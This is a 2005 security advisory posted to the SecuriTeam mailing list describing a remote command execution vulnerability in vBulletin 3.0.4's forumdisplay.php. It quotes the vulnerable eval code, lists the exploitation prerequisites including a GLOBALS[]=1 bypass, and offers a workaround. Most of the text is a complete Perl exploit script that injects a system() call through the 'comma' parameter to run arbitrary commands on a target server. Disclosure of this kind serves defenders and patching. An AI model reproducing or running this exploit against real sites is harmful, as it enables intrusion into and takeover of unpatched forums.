[UNIX] vBulletin forumdisplay.php Command Execution Vulnerability

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To: list@securiteam.com
Date: 17 Feb 2005 17:02:31 +0200

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  vBulletin forumdisplay.php Command Execution Vulnerability
------------------------------------------------------------------------

SUMMARY

 <http://www.vbulletin.com/> vBulletin is "a powerful and widely used
bulletin board system, based on PHP language and MySQL database".

A vulnerability in vBulletin's forumdisplay.php allows a remote attacker
to cause the PHP script to execute arbitrary code via the 'comma'
variable.

DETAILS

Vulnerable Systems:
 * vBulletin version 3.0.4 and prior

Immune Systems:
 * vBulletin version 3.0.5 or newer

Vulnerable code in forumdisplay.php:
 if ($vboptions['showforumusers'])
 {
    .
    .
    .
    .

 if ($bbuserinfo['userid'])
 {
    ...
    $comma = ', ';
  }
 ...
 while ($loggedin = $DB_site->fetch_array($forumusers))
 {
    ...
    eval('$activeusers .= "' . $comma .
fetch_template('forumdisplay_loggedinuser') . '";'); <<==== (Vuln)
    $comma = ', ';
    ...
  }
 ...
 }

Prequsites:
 * $vboptions['showforumusers'] == True , the admin must set
showforumusers ON in vBulletin options
 * $bbuserinfo['userid'] == 0 , you must be an visitor/guest
 * $DB_site->fetch_array($forumusers) == True , when you visit the forums,
it must has at least one user show the forum
 * magic_quotes_gpc must be OFF
 * You must bypass unset($GLOBALS["$_arrykey"]) code in init.php by using:
GLOBALS[]=1

Workaround:
 * Disable showforumusers in vbulletin options .
 * add the next line before if ($vboptions['showforumusers']) $comma = '';

Exploit:
#!/usr/bin/perl
# vbulletin 3.0.4 remote command execution by pokleyzz
<pokleyzz_at_scan-associates.net>
#
# Requirement:
# showforumusers ON
#
#
# bug found by AL3NDALEEB <al3ndaleeb_at_uk2.net>
#
# usage :
# vbulletin30-xp.pl <forumdisplay.php url> <forum id> <command>
#
# example :
# vbulletin30-xp.pl http://192.168.1.78/forumdisplay.php 1 "ls -la"
#
# !! Happy Chinese new Year !!

use IO::Socket;

sub parse_url {
    local($url) = @_;

    if ($url =~ m#^(\w+):#) {
   $protocol = $1;
   $protocol =~ tr/A-Z/a-z/;
    } else {
   return undef;
    }

    if ($protocol eq "http") {
    if ($url =~ m#^\s*\w+://([\w-\.]+):?(\d*)([^ \t]*)$#) {
      $server = $1;
      $server =~ tr/A-Z/a-z/;
      $port = ($2 ne "" ? $2 : $http_port);
      $path = ( $3 ? $3 : '/');
      return ($protocol, $server, $port, $path);
   }
  return undef;
    }
}

sub urlencode{
    my($esc) = @_;
    $esc =~ s/^\s+|\s+$//gs;
    $esc =~ s/([^a-zA-Z0-9_\-.])/uc sprintf("%%%02x",ord($1))/eg;
    $esc =~ s/ /\+/g;
    $esc =~ s/%20/\+/g;
    return $esc;
}

$url = $ARGV[0];
$fid = $ARGV[1];
$cmd = urlencode($ARGV[2]);

$http_port = 80;

$shellcode
="GLOBALS[]=1&f=$fid&cmd=$cmd&comma={\${system(\$cmd)}}{\${exit()}}";

@target = parse_url($url);

$conn = IO::Socket::INET->new (
          Proto => "tcp",
          PeerAddr => $target[1],
          PeerPort => $target[2],
    ) or die "\nUnable to connect\n";
    
$conn -> autoflush(1);
print $conn "GET $target[3]?$shellcode HTTP/1.1\r\nHost:
$target[1]:$target[2]\r\nConnection: Close\r\n\r\n";
while (<$conn>){
 print $_;
}
close $conn;

ADDITIONAL INFORMATION

The information has been provided by <mailto:al3ndaleeb@uk2.net>
al3ndaleeb.

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